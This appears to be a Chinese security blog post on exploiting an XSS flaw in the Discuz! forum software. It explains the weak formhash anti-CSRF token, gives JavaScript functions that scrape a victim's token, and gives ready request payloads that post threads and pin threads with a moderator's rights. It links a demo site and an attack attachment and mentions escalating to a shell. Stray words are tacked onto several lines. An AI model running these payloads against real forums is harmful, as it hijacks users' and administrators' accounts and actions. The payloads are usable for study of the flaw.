貌似zone裏面有個discuz 如何post 發帖的帖子 http://www.wooyun.org/bugs/wooyun-2010-015312php
正好看到個dz xss案例 就研究了下html
熟悉discuz的都知道,formhash是一種相似驗證碼的東西,用來防止從咱們網站外部提交數據,但不須要咱們手動輸入,它在頁面打開時就已經生成了,存在一須要提交數據用到的地方的隱藏input裏(好比登陸、發佈文章)。ajax
咱們來看看這貨的生成算法算法
function formhash($specialadd = '') { global $_G; $hashadd = defined('IN_ADMINCP') ? 'Only For Discuz! Admin Control Panel' : ''; return substr(md5(substr($_G['timestamp'], 0, -7).$_G ['username'].$_G['uid'].$_G['authkey'].$hashadd.$specialadd), 8, 8); }
時間戳前3位,大概是 100多天的樣子,也就是說這貨對於同一人來講 100 天內是不變的.shell
便可簡單獲取目標的formhash(算法比較傻逼=.=)dom
function getHash() { for(var i=0; i<document.links.length; i++) { if(document.links[i].href.indexOf("action=logout&formhash=")>0) { hash=document.links[i].href; hash=hash.substr(hash.length-8,hash.length); break; } } }
補充:0x_Jin 給出的另外一種獲取代碼xss
function hash(){ var links=document.links,forms=document.forms; for(i in links){ var ref=links[i].href||''; if(ref.indexOf('action=logout&formhash=')>0){ return ref.substr(ref.length-8,ref.length); } } for(f in forms){ if(forms[f].formhash){ return forms[f].formhash.value; } } }
接下來的事情就簡單了 只要抓取各類包 加上formhash 便可中出post
例如 (使用了一個兼容的ajax庫 詳見附件)測試
劫持發帖網站
x.post("forum.php?mod=post&action=newthread&fid =2&extra=&topicsubmit=yes","formhash="+hash+"&posttime= 1353989838&wysiwyg=1&subject=title&message= aaaaaaaaaaaaaaaa%0D%0A&replycredit_extcredits=0&re plycredit_times=1&replycredit_membertimes=1&replycredit_random=10 0&readperm=&price=&tags=test&rushreplyfrom=&rushreplyto=&rewardflo or=&stopfloor=&creditlimit=&save=&adddynamic=true&usesig=1&allownoticeauthor=1");
置頂指定帖子
x.post("forum.php?mod=topicadmin&action=moderate&optgroup=1&modsubmi t=yes&infloat=yes&inajax=1","frommodcp=&formhash="+hash+"&fid=2&red irect=&listextra=page%3D1&handlekey=mods&moderate[]=12&operations[]= stick&sticklevel=3&expirationstick=&digestlevel=0&expirationdigest=& highlight_color=0&highlight_style[1]=0&highlight_style [2]=0&highlight_style[3]=0&expirationhighlight=&reason=");
演示視頻:http://v.youku.com/v_show/id_XNDg0NDg2MjU2.html
高清無碼:http://pan.baidu.com/share/link?shareid=136314&uk=587894688
附件下載:http://yaseng.me/wp-content/uploads/2012/12/Csrf-hijacking-admin-demo.rar
演示網址:www.zqgd18.com
ps1:zone裏面可能排版不太好 有性趣下載附件吧
ps2:其他動做讀者能夠抓包自行測試之
ps3:若是管理員同時登錄了後臺還能夠權限提高或者直接getshell